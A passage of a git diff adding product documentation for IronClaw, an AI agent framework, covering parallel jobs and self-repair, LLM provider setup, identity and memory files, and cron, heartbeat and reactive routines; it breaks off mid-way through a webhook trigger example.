refused" when starting - -- For webhook mode: Start your tunnel before `ironclaw run` -- For polling only: No tunnel needed; ignore tunnel-related warnings diff --git a/docs/capabilities/jobs/jobs.mdx b/docs/capabilities/jobs/jobs.mdx new file mode 100644 index 0000000000..4e833e4bbc --- /dev/null +++ b/docs/capabilities/jobs/jobs.mdx @@ -0,0 +1,76 @@ +--- +title: Jobs & Parallel Execution +sidebarTitle: Jobs +description: Parallel job scheduling and the job state machine +--- + +Every unit of work in IronClaw is a **job**. Jobs run in parallel, each with isolated context, and each progressing through a defined state machine until they complete, fail, or get recovered. + +--- + +## Configuration + +```bash +# Maximum parallel jobs +MAX_PARALLEL_JOBS=5 + +# Sandbox timeout (affects when jobs are considered stuck) +SANDBOX_TIMEOUT_SECS=1800 +``` + +--- + +## Job State Machine + +``` +Pending + ↓ +InProgress ──────────────┬──► Completed + ↑ │ + │ (self-repair) └──► Failed + │ + Stuck ────────────────────► Failed (if unrecoverable) +``` + +### States + +| State | Description | Next States | +|----------------|-----------------------------------------------------|-------------------------------| +| **Pending** | Job created, queued for a worker slot | InProgress | +| **InProgress** | Worker actively running — LLM calls, tool execution | Completed, Failed, Stuck | +| **Completed** | Job finished successfully | — (terminal) | +| **Failed** | Unrecoverable error or explicit cancellation | — (terminal) | +| **Stuck** | No progress detected within timeout window | InProgress (recovery), Failed | + +### Transitions + +A job enters **Stuck** when the self-repair system detects it has been InProgress with no activity for longer than the configured timeout. The system then attempts recovery by re-entering InProgress with a fresh worker. If recovery fails repeatedly, the job transitions to **Failed**. + +--- + +## Parallel Execution + +IronClaw runs multiple jobs concurrently. Each job has its own isolated context — memory, tool call history, and conversation state. + +| Config Variable | Default | Description | +|---------------------|---------|--------------------------------------| +| `MAX_PARALLEL_JOBS` | `5` | Maximum concurrent jobs per instance | + +When all job slots are occupied, new jobs queue as **Pending** until a slot opens. The scheduler dispatches queued jobs in order of creation time. + + +Increasing `MAX_PARALLEL_JOBS` increases LLM API concurrency. Set it according to your API rate limits and available system resources. + + +--- + +## Job Tools + +Four built-in tools let the agent manage jobs at runtime: + +| Tool | Description | +|--------------|----------------------------------------------------------------| +| `create_job` | Create a new job with a given description and optional context | +| `list_jobs` | List all active jobs with their current state and metadata | +| `job_status` | Get detailed status for a specific job by ID | +| `cancel_job` | Cancel an InProgress or Pending job | diff --git a/docs/capabilities/jobs/self-repair.mdx b/docs/capabilities/jobs/self-repair.mdx new file mode 100644 index 0000000000..40965ecfef --- /dev/null +++ b/docs/capabilities/jobs/self-repair.mdx @@ -0,0 +1,148 @@ +--- +title: Self-Repair & Stuck Jobs +sidebarTitle: Self-Repair +description: Automatic detection and recovery of stuck jobs +--- + +IronClaw monitors all running jobs and automatically recovers those that stop making progress — without requiring human intervention. + +--- + +## What Is a Stuck Job? + +A job is considered **stuck** when it has been in the **InProgress** state for longer than the configured timeout without producing any output, tool calls, or state updates. + +Common causes: +- LLM provider timeout or rate limit with no retry budget remaining +- Tool call hanging on an unresponsive external service +- Container resource exhaustion (OOM, CPU throttle) +- Network partition between the agent and a sandboxed worker + +--- + +## Configuration + +```bash +# Enable self-repair (default: true) +SELF_REPAIR_ENABLED=true + +# How long before a job is considered stuck (seconds) +SELF_REPAIR_TIMEOUT_SECS=300 + +# Maximum recovery attempts before marking job as Failed +SELF_REPAIR_MAX_RETRIES=3 + +# How often the monitor checks for stuck jobs (seconds) +SELF_REPAIR_CHECK_INTERVAL_SECS=60 +``` + + +`SELF_REPAIR_TIMEOUT_SECS` should be set lower than `SANDBOX_TIMEOUT_SECS`. The sandbox enforces a hard kill; self-repair is a soft recovery that runs before the hard kill triggers. + + +--- + +## Detection + +The self-repair system runs as a background task alongside the scheduler. It periodically scans all InProgress jobs and compares the last-activity timestamp against the stuck threshold. + +``` +[Self-Repair Monitor] + ↓ +For each InProgress job: + last_activity > SELF_REPAIR_TIMEOUT? + ↓ yes + Transition: InProgress → Stuck + ↓ + Log failure to tool_failures table + ↓ + Attempt recovery +``` + +The `tool_failures` table accumulates failure records per job and per tool. This data is used to assess whether recovery is worth attempting again or whether the job should be moved directly to **Failed**. + +--- + +## Recovery Flow + +When a stuck job is detected, the self-repair system attempts to restart it: + + + + The job state changes from InProgress to Stuck. The event is logged with the failure reason and timestamp. + + + + The system checks the `tool_failures` table for this job. If the job has exceeded the maximum retry count, it is transitioned directly to **Failed** and recovery is skipped. + + + + If retries remain, the job transitions back to InProgress. A new worker picks it up and resumes execution from the last saved checkpoint. + + + + If the job completes successfully, the failure records are cleared. If it gets stuck again, the cycle repeats until the retry limit is reached, at which point the job fails permanently. + + + +--- + +### State Diagram + +``` +InProgress + ↓ (timeout detected) + Stuck ──────────────────────► Failed (retry limit reached) + ↓ (retry available) +InProgress + ↓ +Completed (or back to Stuck) +``` + +--- + +## Tool Failure Tracking + +Every time a tool fails during job execution, the event is recorded: + +| Field | Description | +|---------------|--------------------------------------| +| `job_id` | The job that experienced the failure | +| `tool_name` | Which tool failed | +| `error` | Error message or failure reason | +| `occurred_at` | Timestamp of the failure | + +This history is available to the worker on retry, allowing it to avoid repeating the same failing tool call or to select an alternative approach. + +--- + +## Observability + +Stuck and recovered jobs are visible in: + +- **Job history** — The web gateway's job list shows state transitions with timestamps +- **Logs** — `RUST_LOG=ironclaw::agent::self_repair=debug` for detailed repair events +- **`list_jobs` tool** — Shows current state including Stuck jobs + +## Troubleshooting + + + + - Check `RUST_LOG=ironclaw::agent::self_repair=debug` for failure reasons + - Inspect tool failure records via `job_status` tool + - Consider increasing `SELF_REPAIR_TIMEOUT_SECS` if the job is legitimately long-running + - Check network connectivity to LLM provider and external services + + + + - The tool failure history may reveal a specific tool that always fails + - Check whether the external service the tool depends on is available + - Review sandbox logs if the job runs in a container (`SANDBOX_ENABLED=true`) + + + + - Verify `SELF_REPAIR_ENABLED=true` + - Check that `SELF_REPAIR_TIMEOUT_SECS` is not set too high + - Confirm the self-repair monitor is running: look for `self_repair` in startup logs + + diff --git a/docs/capabilities/llm-providers.md b/docs/capabilities/llm-providers.md new file mode 100644 index 0000000000..8b194eda86 --- /dev/null +++ b/docs/capabilities/llm-providers.md @@ -0,0 +1,318 @@ +--- +title: Inference Providers +description: IronClaw readily supports multiple LLM providers +--- + +IronClaw supports multiple LLM providers out of the box, including NEAR AI , Anthropic, OpenAI, Google Gemini, GitHub Copilot, Ollama, AWS Bedrock, and any OpenAI-compatible endpoint. + +Providers can be configured via environment variables or the onboarding wizard. IronClaw's modular architecture allows seamless integration with new providers by implementing the `LLMProvider` trait. + +#### Configuring a Provider +To config a new provider, simply run the onboarding wizard: + +```bash +ironclaw onboard --provider-only +``` + +--- + +## Provider Overview + +| Provider | Backend value | Requires API key | Notes | +|-----------------------|---------------------|------------------------|---------------------------------| +| NEAR AI | `nearai` | OAuth (browser) | Multi-model | +| Anthropic | `anthropic` | `ANTHROPIC_API_KEY` | Claude models | +| OpenAI | `openai` | `OPENAI_API_KEY` | GPT models | +| Google Gemini | `gemini_oauth` | OAuth (browser) | Gemini models; function calling | +| io.net | `ionet` | `IONET_API_KEY` | Intelligence API | +| Mistral | `mistral` | `MISTRAL_API_KEY` | Mistral models | +| Yandex AI Studio | `yandex` | `YANDEX_API_KEY` | YandexGPT models | +| MiniMax | `minimax` | `MINIMAX_API_KEY` | MiniMax-M2.7 models | +| Cloudflare Workers AI | `cloudflare` | `CLOUDFLARE_API_KEY` | Access to Workers AI | +| GitHub Copilot | `github_copilot` | `GITHUB_COPILOT_TOKEN` | Multi-models | +| Ollama | `ollama` | No | Local inference | +| AWS Bedrock | `bedrock` | AWS credentials | Native Converse API | +| OpenRouter | `openai_compatible` | `LLM_API_KEY` | 300+ models | +| Together AI | `openai_compatible` | `LLM_API_KEY` | Fast inference | +| Fireworks AI | `openai_compatible` | `LLM_API_KEY` | Fast inference | +| vLLM / LiteLLM | `openai_compatible` | Optional | Self-hosted | +| LM Studio | `openai_compatible` | No | Local GUI | + +--- + +## NEAR AI + +```env +NEARAI_MODEL=claude-3-5-sonnet-20241022 +NEARAI_BASE_URL=https://private.near.ai +``` + +Popular models: `Qwen/Qwen3.5-122B-A10B`, `black-forest-labs/FLUX.2-klein-4B`, `zai-org/GLM-5-FP8` + +--- + +## Anthropic (Claude) + +```env +LLM_BACKEND=anthropic +ANTHROPIC_API_KEY=sk-ant-... +``` + +Popular models: `claude-sonnet-4-20250514`, `claude-3-5-sonnet-20241022`, `claude-3-5-haiku-20241022` + +--- + +## OpenAI (GPT) + +```env +LLM_BACKEND=openai +OPENAI_API_KEY=sk-... +``` + +Popular models: `gpt-4o`, `gpt-4o-mini`, `o3-mini` + +--- + +## Google Gemini (OAuth) + +Uses Google OAuth with PKCE (S256) for authentication — no API key required. +On first run, a browser opens for Google account login. Credentials (including +refresh token) are saved to `~/.gemini/oauth_creds.json` with `0600` permissions. + +```env +LLM_BACKEND=gemini_oauth +GEMINI_MODEL=gemini-2.5-flash +``` + +### Supported features + +| Feature | Status | Notes | +|--------------------|--------|-----------------------------------------------------------------------------------------------| +| Function calling | ✅ | `functionDeclarations` / `functionCall` / `functionResponse` | +| `generationConfig` | ✅ | `temperature`, `maxOutputTokens` passed from request | +| `thinkingConfig` | ✅ | `thinkingBudget`/`thinkingLevel` for thinking-capable models (does NOT set `includeThoughts`) | +| `toolConfig` | ✅ | `functionCallingConfig.mode`: `AUTO`/`ANY`/`NONE` | +| SSE streaming | ✅ | Cloud Code API with `streamGenerateContent?alt=sse` | +| Token refresh | ✅ | Automatic via refresh token | + +### Popular models + +| Model | ID | Notes | +|-----------------------------|--------------------------------------|-----------------------------| +| Gemini 3.1 Pro | `gemini-3.1-pro-preview` | Latest, strongest reasoning | +| Gemini 3.1 Pro Custom Tools | `gemini-3.1-pro-preview-customtools` | Enhanced tool use | +| Gemini 3 Pro | `gemini-3-pro-preview` | Preview | +| Gemini 3 Flash | `gemini-3-flash-preview` | Fast preview with thinking | +| Gemini 3.1 Flash Lite | `gemini-3.1-flash-lite-preview` | Preview, lightweight | +| Gemini 2.5 Pro | `gemini-2.5-pro` | Stable, strong reasoning | +| Gemini 2.5 Flash | `gemini-2.5-flash` | Fast, good quality | +| Gemini 2.5 Flash Lite | `gemini-2.5-flash-lite` | Fastest, lightweight | + +### Cloud Code API vs standard API + +Models containing `-preview` (with hyphen) or `gemini-3` in the name, as well +as any `gemini-` model with major version >= 2, route through the Cloud Code +API (`cloudcode-pa.googleapis.com`) which supports SSE streaming +and project-scoped access. Other models use the standard Generative Language +API (`generativelanguage.googleapis.com`). + +--- + +## GitHub Copilot + +GitHub Copilot exposes chat endpoint at +`https://api.githubcopilot.com`. IronClaw uses that endpoint directly through the +built-in `github_copilot` provider. + +```env +LLM_BACKEND=github_copilot +GITHUB_COPILOT_TOKEN=gho_... +GITHUB_COPILOT_MODEL=gpt-4o +# Optional advanced headers if your setup needs them: +# GITHUB_COPILOT_EXTRA_HEADERS=Copilot-Integration-Id:vscode-chat +``` + +`ironclaw onboard` can acquire this token for you using GitHub device login. If you +already signed into Copilot through VS Code or a JetBrains IDE, you can also reuse +the `oauth_token` stored in `~/.config/github-copilot/apps.json`. If you prefer, +`LLM_BACKEND=github-copilot` also works as an alias. + +Popular models vary by subscription, but `gpt-4o` is a safe default. IronClaw keeps +model entry manual for this provider because GitHub Copilot model listing may require +extra integration headers on some clients. IronClaw automatically injects the standard +VS Code identity headers (`User-Agent`, `Editor-Version`, `Editor-Plugin-Version`, +`Copilot-Integration-Id`) and lets you override them with +`GITHUB_COPILOT_EXTRA_HEADERS`. + +--- + +## Ollama (local) + +Install Ollama from [ollama.com](https://ollama.com), pull a model, then: + +```env +LLM_BACKEND=ollama +OLLAMA_MODEL=llama3.2 +# OLLAMA_BASE_URL=http://localhost:11434 # default +``` + +Pull a model first: `ollama pull llama3.2` + +--- + +## MiniMax + +[MiniMax](https://platform.minimax.io) provides high-performance language models with 204,800 token context windows. + +```env +LLM_BACKEND=minimax +MINIMAX_API_KEY=... +``` + +Available models: `MiniMax-M2.7` (default), `MiniMax-M2.7-highspeed`, `MiniMax-M2.5`, `MiniMax-M2.5-highspeed` + +To use the China mainland endpoint, set: + +```env +MINIMAX_BASE_URL=https://api.minimaxi.com/v1 +``` + +--- + +## AWS Bedrock (requires `--features bedrock`) + +Uses the native AWS Converse API via `aws-sdk-bedrockruntime`. Supports standard AWS +authentication methods: IAM credentials, SSO profiles, and instance roles. + +> **Build prerequisite:** The `aws-lc-sys` crate (transitive dependency via AWS SDK) +> requires **CMake** to compile. Install it before building with `--features bedrock`: +> - macOS: `brew install cmake` +> - Ubuntu/Debian: `sudo apt install cmake` +> - Fedora: `sudo dnf install cmake` + +### With AWS credentials (IAM, SSO, instance roles) + +```env +LLM_BACKEND=bedrock +BEDROCK_MODEL=anthropic.claude-opus-4-6-v1 +BEDROCK_REGION=us-east-1 +BEDROCK_CROSS_REGION=us +# AWS_PROFILE=my-sso-profile # optional, for named profiles +``` + +The AWS SDK credential chain automatically resolves credentials from environment +variables (`AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`), shared credentials file +(`~/.aws/credentials`), SSO profiles, and EC2/ECS instance roles. + +### Cross-region inference + +Set `BEDROCK_CROSS_REGION` to route requests across AWS regions for capacity: + +| Prefix | Routing | +|-----------|----------------------------------------------| +| `us` | US regions (us-east-1, us-east-2, us-west-2) | +| `eu` | European regions | +| `apac` | Asia-Pacific regions | +| `global` | All commercial AWS regions | +| _(unset)_ | Single-region only | + +### Popular Bedrock model IDs + +| Model | ID | +|-------------------|---------------------------------------------| +| Claude Opus 4.6 | `anthropic.claude-opus-4-6-v1` | +| Claude Sonnet 4.5 | `anthropic.claude-sonnet-4-5-20250929-v1:0` | +| Claude Haiku 4.5 | `anthropic.claude-haiku-4-5-20251001-v1:0` | +| Amazon Nova Pro | `amazon.nova-pro-v1:0` | +| Llama 4 Maverick | `meta.llama4-maverick-17b-instruct-v1:0` | + +--- + +## OpenAI-Compatible Endpoints + +All providers below use `LLM_BACKEND=openai_compatible`. Set `LLM_BASE_URL` to the +provider's OpenAI-compatible endpoint and `LLM_API_KEY` to your API key. + +### OpenRouter + +[OpenRouter](https://openrouter.ai) routes to 300+ models from a single API key. + +```env +LLM_BACKEND=openai_compatible +LLM_BASE_URL=https://openrouter.ai/api/v1 +LLM_API_KEY=sk-or-... +LLM_MODEL=anthropic/claude-sonnet-4 +``` + +Popular OpenRouter model IDs: + +| Model | ID | +|------------------|--------------------------------------------| +| Claude Sonnet 4 | `anthropic/claude-sonnet-4` | +| GPT-4o | `openai/gpt-4o` | +| Llama 4 Maverick | `meta-llama/llama-4-maverick` | +| Gemini 2.0 Flash | `google/gemini-2.0-flash-001` | +| Mistral Small | `mistralai/mistral-small-3.1-24b-instruct` | + +Browse all models at [openrouter.ai/models](https://openrouter.ai/models). + +### Together AI + +[Together AI](https://www.together.ai) provides fast inference for open-source models. + +```env +LLM_BACKEND=openai_compatible +LLM_BASE_URL=https://api.together.xyz/v1 +LLM_API_KEY=... +LLM_MODEL=meta-llama/Llama-3.3-70B-Instruct-Turbo +``` + +Popular Together AI model IDs: + +| Model | ID | +|---------------|-------------------------------------------| +| Llama 3.3 70B | `meta-llama/Llama-3.3-70B-Instruct-Turbo` | +| DeepSeek R1 | `deepseek-ai/DeepSeek-R1` | +| Qwen 2.5 72B | `Qwen/Qwen2.5-72B-Instruct-Turbo` | + +### Fireworks AI + +[Fireworks AI](https://fireworks.ai) offers fast inference with compound AI system support. + +```env +LLM_BACKEND=openai_compatible +LLM_BASE_URL=https://api.fireworks.ai/inference/v1 +LLM_API_KEY=fw_... +LLM_MODEL=accounts/fireworks/models/llama4-maverick-instruct-basic +``` + +### vLLM / LiteLLM (self-hosted) + +For self-hosted inference servers: + +```env +LLM_BACKEND=openai_compatible +LLM_BASE_URL=http://localhost:8000/v1 +LLM_API_KEY=token-abc123 # set to any string if auth is not configured +LLM_MODEL=meta-llama/Llama-3.1-8B-Instruct +``` + +LiteLLM proxy (forwards to any backend, including Bedrock, Vertex, Azure): + +```env +LLM_BACKEND=openai_compatible +LLM_BASE_URL=http://localhost:4000/v1 +LLM_API_KEY=sk-... +LLM_MODEL=gpt-4o # as configured in litellm config.yaml +``` + +### LM Studio (local GUI) + +Start LM Studio's local server, then: + +```env +LLM_BACKEND=openai_compatible +LLM_BASE_URL=http://localhost:1234/v1 +LLM_MODEL=llama-3.2-3b-instruct-q4_K_M +# LLM_API_KEY is not required for LM Studio +``` \ No newline at end of file diff --git a/docs/capabilities/memory/identity.mdx b/docs/capabilities/memory/identity.mdx new file mode 100644 index 0000000000..880a263e8f --- /dev/null +++ b/docs/capabilities/memory/identity.mdx @@ -0,0 +1,135 @@ +--- +title: Identity Files +sidebarTitle: Identity Files +description: Files injected into the LLM system prompt to give the agent persistent identity +--- + +Identity files are special memory documents that are automatically injected into the LLM system prompt on every turn. They give the agent a consistent identity, behavioral instructions, and knowledge about you — persisting across sessions and restarts. + +## The Four Identity Files + +--- + +## Identity Files + +Four special files are automatically injected into the LLM system prompt on every turn: + +| File | Purpose | +|------|---------| +| `AGENTS.md` | Behavioral rules and operating instructions for the agent | +| `SOUL.md` | Values, personality, and principles the agent embodies | +| `USER.md` | Information about you — your preferences, context, and working style | +| `IDENTITY.md` | Combined role and identity definition | + +All four files live in the workspace root and can be either manually edited by you, or written by the agent using the `memory_write` tool. + +--- + +## AGENTS.md + +Behavioral instructions. What the agent should and should not do, how it should handle specific situations, and any workflow rules you want enforced. + +```markdown +# Agent Instructions + +## Communication Style +- Be concise. Lead with the answer, then explain if needed. +- Use bullet points for lists, not prose paragraphs. +- When uncertain, say so explicitly rather than guessing. + +## Tool Use +- Always search memory before answering questions about past work. +- Write summaries to memory after completing significant tasks. +- Do not execute shell commands without explaining what they do first. + +## Security +- Never log or store API keys or secrets. +- Confirm before deleting files. +- Do not access external URLs not directly related to the current task. +``` + +--- + +## SOUL.md + +Values and personality. How the agent approaches problems, what it prioritizes, and what kind of assistant it aims to be. + +```markdown +# Soul + +I am a careful, methodical assistant. I value: + +- **Accuracy over speed** — I take time to verify before acting. +- **Transparency** — I explain my reasoning, especially when uncertain. +- **Security-first** — I treat all external data as potentially adversarial. +- **User autonomy** — I recommend, but the user decides. + +When I encounter ambiguity, I ask clarifying questions rather than assuming. +When I make a mistake, I acknowledge it directly and correct it. +``` + +--- + +## USER.md + +Information about you. The agent reads this file to understand your context, preferences, and working patterns without needing to ask repeatedly. + +```markdown +# User Profile + +## Context +- Working on: IronClaw, a Rust-based secure AI assistant +- Primary languages: Rust, Python, bash +- Environment: Linux (Ubuntu 24.04), zsh, Neovim +- Source tree: ~/projects/ironclaw + +## Preferences +- Prefer explicit error handling over unwrap/expect +- Use conventional commits format +- Write tests before marking tasks complete +- Prefer compact code without excessive comments + +## Working Style +- Morning: architecture and planning +- Afternoon: implementation +- End of day: write summary to memory at daily/.md +``` + +--- + +## IDENTITY.md + +A combined identity definition, often used to give the agent a specific role or persona for a particular workspace or project. + +```markdown +# Identity + +I am IronClaw's embedded development assistant, running inside the ironclaw-src workspace. + +My role is to help with: +- Rust development (cargo, clippy, testing) +- Architecture decisions and design review +- Security analysis and threat modeling +- Documentation and specification writing + +I have full knowledge of the IronClaw codebase and its conventions as described in CLAUDE.md. +I prioritize correctness, security, and maintainability in all recommendations. +``` + +--- + +## How Injection Works + +At the start of every LLM call, the agent reads all four identity files from the workspace and prepends them to the system prompt: + +``` +[AGENTS.md content] +[SOUL.md content] +[USER.md content] +[IDENTITY.md content] +[Skill injections] +[Conversation history] +[Current message] +``` + +Files that do not exist are silently skipped — you do not need all four. Start with whichever is most useful for your workflow. diff --git a/docs/capabilities/memory/memory.mdx b/docs/capabilities/memory/memory.mdx new file mode 100644 index 0000000000..f1483b381b --- /dev/null +++ b/docs/capabilities/memory/memory.mdx @@ -0,0 +1,52 @@ +--- +title: Persistent Memory +description: Your agent's durable, searchable long-term memory system +--- + +The LLM context window is temporary. Everything in it disappears when the conversation ends. The memory system is permanent: documents written to memory survive indefinitely and are retrievable via search from any session. + +This means the agent must be proactive about writing. Before answering a question about prior work, the agent should search memory. Before ending a task that produced useful information, the agent should write a summary. + + +The agent is instructed to call `memory_search` before answering questions about past work, prior decisions, or previously stored information. If you feel the agent has forgotten something, try asking it to search memory explicitly. + + +--- + +## Workspace Structure + +The workspace uses a filesystem-like path hierarchy. Documents live at paths you define: + +| Example Path | Use Case | +|-------------------------------|------------------------------------------| +| `context/vision.md` | Project goals and direction | +| `context/architecture.md` | System design decisions | +| `daily/2024-01-15.md` | Daily notes and logs | +| `daily/standup.md` | Latest standup draft (overwritten daily) | +| `projects/ironclaw/notes.md` | Project-specific notes | +| `inbox/task-20240115.md` | Incoming tasks to process | +| `processed/task-20240115.md` | Processed and archived tasks | +| `ops/incidents/2024-01-15.md` | Incident records | +| `AGENTS.md` | Agent behavior instructions | +| `SOUL.md` | Agent values and personality | + +Paths are arbitrary strings. Use whatever structure makes sense for your workflow. The `memory_tree` tool shows all paths organized as a directory tree. + +--- + +## Four Memory Tools + +| Tool | Description | +|-----------------|--------------------------------------------------------------------------------------------------------------| +| `memory_search` | Hybrid FTS + vector search. Call this before answering questions about prior work. Returns ranked results. | +| `memory_write` | Write a document to a path. Creates or overwrites. Supports structured content (markdown, JSON, plain text). | +| `memory_read` | Read a specific document by exact path. | +| `memory_tree` | List all paths in the workspace as a tree. Use for discovery and navigation. | + +--- + +## Efficient Retrieval with Vector Search + +You can configure the memory to be persisted as a vector store, which allows for fast semantic search and retrieval during the initial onboarding. + +This is ideal for larger workspaces or when you want the agent to have quick access to a large amount of information. diff --git a/docs/capabilities/overview.mdx b/docs/capabilities/overview.mdx new file mode 100644 index 0000000000..bfc044aeba --- /dev/null +++ b/docs/capabilities/overview.mdx @@ -0,0 +1,33 @@ +--- +title: Capabilities Overview +sidebarTitle: Overview +description: Discover what makes IronClaw unique +--- + +IronClaw combines long-term memory, event-driven automation, parallel execution, and strict isolation controls so agents can run real workflows safely. + + + + Defense-in-depth controls for prompt safety, sandboxing, leak detection, and network boundaries. + + + + Durable, searchable memory with identity files that persist behavior and context across sessions. + + + + Scheduled, heartbeat, and reactive execution models for proactive and event-driven automation. + + + + Parallel job orchestration with state transitions, retries, and self-repair for stuck execution. + + + + Context-activated prompt extensions with scoring, gating, and trust-based tool attenuation. + + + + Wasm-based tool isolation with explicit capabilities, resource limits, and controlled I/O. + + diff --git a/docs/capabilities/routines/cron.mdx b/docs/capabilities/routines/cron.mdx new file mode 100644 index 0000000000..d74538f7ae --- /dev/null +++ b/docs/capabilities/routines/cron.mdx @@ -0,0 +1,46 @@ +--- +title: Cron Routines +description: Schedule recurring tasks with cron expressions +--- + +Cron routines fire on a repeating schedule using standard cron expressions. Use them for any task that should happen at a predictable time — daily reports, weekly cleanups, hourly checks. + +--- + +## Creating a Cron Routine + +Describe the schedule and task to the agent. It will call `routine_create` on your behalf: + +``` +Create a routine that runs every weekday at 9am and summarizes +what I worked on yesterday by reading my daily notes, then +writes a standup draft to memory at daily/standup.md. +``` + +--- + +## Execution Model + +When a cron routine fires: + +1. The routine engine creates a new agent job with the action prompt +2. The job runs through the full agent loop — LLM reasoning, tool calls, safety layer +3. Output is written to memory or sent via a channel notification (if configured) +4. The run is recorded in routine history, accessible via `routine_history` + +Routine jobs run as standard jobs and count against `MAX_PARALLEL_JOBS`. If the limit is reached when a cron fires, the routine job queues as Pending. + +--- + +## Configuration + +```bash +# Enable routines +ROUTINES_ENABLED=true + +# Cron tick interval (how often the engine checks for due jobs) +ROUTINES_CRON_INTERVAL=60 # seconds + +# Max routines running simultaneously +ROUTINES_MAX_CONCURRENT=3 +``` \ No newline at end of file diff --git a/docs/capabilities/routines/heartbeat.mdx b/docs/capabilities/routines/heartbeat.mdx new file mode 100644 index 0000000000..ed0ea77948 --- /dev/null +++ b/docs/capabilities/routines/heartbeat.mdx @@ -0,0 +1,186 @@ +--- +title: Heartbeat System +sidebarTitle: Heartbeat +description: Periodic checks and execution +--- + +The heartbeat system gives IronClaw agency between conversations. Every 30 minutes (by default), it reads `HEARTBEAT.md` from the workspace and executes a checklist of proactive tasks — without you having to ask. + + +You can setup how often the agent checks the heartbeat list + + +--- + +## What Heartbeat Does + +On each heartbeat tick: + +1. Reads `HEARTBEAT.md` from the workspace root +2. Runs the checklist items as an agent job +3. If the job produces findings or output, sends a notification to the configured channel +4. Records the run in the `heartbeat_state` table + +If `HEARTBEAT.md` does not exist or is empty, the tick is a no-op. + +The heartbeat job runs through the full agent loop — LLM reasoning, tool calls, safety layer — with the same capabilities as a manually triggered job. + +--- + +## HEARTBEAT.md Format + +Write `HEARTBEAT.md` as a checklist of tasks. The agent reads this as its instructions for each periodic run: + +```markdown +# Heartbeat Checklist + +## Daily Tasks +- [ ] Check memory at daily/ for yesterday's notes. If missing, remind the user. +- [ ] Search memory for any items tagged as "follow-up" or "urgent" and list them. +- [ ] Read ops/stuck-jobs.md if it exists and summarize any unresolved incidents. + +## Weekly Tasks (run only on Mondays) +- [ ] Summarize the week's daily notes into a weekly summary at weekly/.md +- [ ] Check for any routines that haven't run in the past 7 days and flag them. + +## Always +- [ ] If any of the above produce findings, write a summary to memory at heartbeat/latest.md +- [ ] Only notify the user if there are actionable items — do not send empty pings. +``` + +The agent interprets the checklist and executes each item using available tools. Conditional items ("run only on Mondays") are evaluated by the LLM using the current date. + +--- + +## Notification Behavior + +After each tick, if the job produces output that warrants user attention, the heartbeat system sends a notification to the configured channel. If nothing actionable was found, no notification is sent — heartbeat is designed to be quiet unless it has something useful to say. + +Findings are also written to memory at `heartbeat/latest.md` (if your HEARTBEAT.md instructs this), making them searchable in future sessions. + +--- + +## Configuration + +```bash +# Enable heartbeat (default: true) +HEARTBEAT_ENABLED=true + +# Interval between ticks in seconds (default: 1800 = 30 minutes) +HEARTBEAT_INTERVAL_SECS=1800 + +# Channel to send notifications to +HEARTBEAT_NOTIFY_CHANNEL=tui # tui, web, telegram, webhook + +# User ID to notify +HEARTBEAT_NOTIFY_USER=default +``` + + +Set `HEARTBEAT_INTERVAL_SECS=3600` (1 hour) or higher if the heartbeat job is too frequent for your LLM API rate limits or budget. The heartbeat runs as a normal job and consumes tokens. + + +--- + +## Writing HEARTBEAT.md + +Ask the agent to create or update the heartbeat checklist: + +``` +Write HEARTBEAT.md with tasks to check my inbox/ folder every 30 minutes +and summarize any new items. +``` + +Or edit the file manually: + +``` +memory_write path="HEARTBEAT.md" content=" +# Heartbeat Checklist + +- [ ] List all memory documents in inbox/ — if any exist, summarize and move to processed/ +- [ ] Check if daily/.md exists — if not, create a daily entry template +- [ ] Only notify if inbox/ had items or daily notes were missing +" +``` + +--- + +## Example HEARTBEAT.md Files + +### Minimal — Inbox Monitor + +```markdown +# Heartbeat + +- [ ] Check inbox/ for new documents. Process and move to processed/. Notify only if items were found. +``` + +--- + +### Developer Workflow + +```markdown +# Heartbeat Checklist + +## Checks +- [ ] Read ops/incidents/ — summarize any open incidents older than 24 hours +- [ ] Check for stuck jobs in the last hour +- [ ] Look for daily/.md — create it with a timestamp if missing + +## Output +- [ ] Write findings to heartbeat/latest.md +- [ ] Notify only if there are open incidents or stuck jobs +``` + +--- + +### Personal Assistant + +```markdown +# Heartbeat + +- [ ] Search memory for items tagged "reminder" or "todo" +- [ ] Check if any items are due today based on their content +- [ ] Summarize time-sensitive items and notify +- [ ] Do not notify if nothing is due +``` + +--- + +## Heartbeat vs Routines + +Heartbeat and cron routines serve similar purposes but differ in design: + +| Feature | Heartbeat | Cron Routine | +|---------------|--------------------------|-------------------------------------| +| Configuration | Single HEARTBEAT.md file | Per-routine configuration | +| Schedule | Fixed global interval | Custom per-routine cron expression | +| Scope | Single checklist job | Multiple independent jobs | +| Complexity | Simple — edit one file | Flexible — manage multiple routines | + +Use heartbeat for a unified set of periodic checks. Use cron routines when you need different schedules for different tasks, or when tasks should run independently. + +--- + +## Troubleshooting + + + + - Verify `HEARTBEAT_ENABLED=true` in your configuration + - Check startup logs for `heartbeat` to confirm the system started + - Confirm `HEARTBEAT_INTERVAL_SECS` is set to a reasonable value + - Verify `HEARTBEAT.md` exists in the workspace root via `memory_read path="HEARTBEAT.md"` + + + + - Update HEARTBEAT.md to add a condition: "only notify if there are actionable items" + - Increase `HEARTBEAT_INTERVAL_SECS` to reduce frequency + - Make checklist items more specific so the agent doesn't over-report + + + + - Simplify HEARTBEAT.md — fewer checklist items mean fewer LLM calls + - Increase `HEARTBEAT_INTERVAL_SECS` to reduce frequency + - Add guardrails-style instructions to HEARTBEAT.md: "Use at most 5 tool calls per run" + + diff --git a/docs/capabilities/routines/reactive.mdx b/docs/capabilities/routines/reactive.mdx new file mode 100644 index 0000000000..48b1cb99f1 --- /dev/null +++ b/docs/capabilities/routines/reactive.mdx @@ -0,0 +1,124 @@ +--- +title: Reactive Routines +description: Event-driven and webhook-triggered automation +--- + +Reactive routines fire in response to events rather than a schedule. Agents use them to automate workflows that should happen when something occurs — a file is created, a webhook fires, or an internal agent event is raised. + +--- + +## Trigger Types + +### Event Triggers + +Internal agent events that reactive routines can listen for: + +| Event | When It Fires | +|-----------------|-----------------------------------------| +| `job.completed` | Any job finishes successfully | +| `job.failed` | Any job reaches the Failed state | +| `memory.write` | A memory document is created or updated | +| `routine.run` | Another routine completes a run | +| `heartbeat` | The heartbeat system fires | + +Event triggers can filter by additional criteria. For example, a routine can listen for `memory.write` on a specific path: + +```json +{ + "trigger": { + "type": "event", + "event": "memory.write", + "filter": { + "path_prefix": "inbox/" + } + } +} +``` + +### Webhook Triggers + +Reactive routines can expose an HTTP endpoint that fires the routine when called: + +```json +{ + "trigger": { + "type": "webhook", + "path": "/hooks/deploy-complete", + "secret": 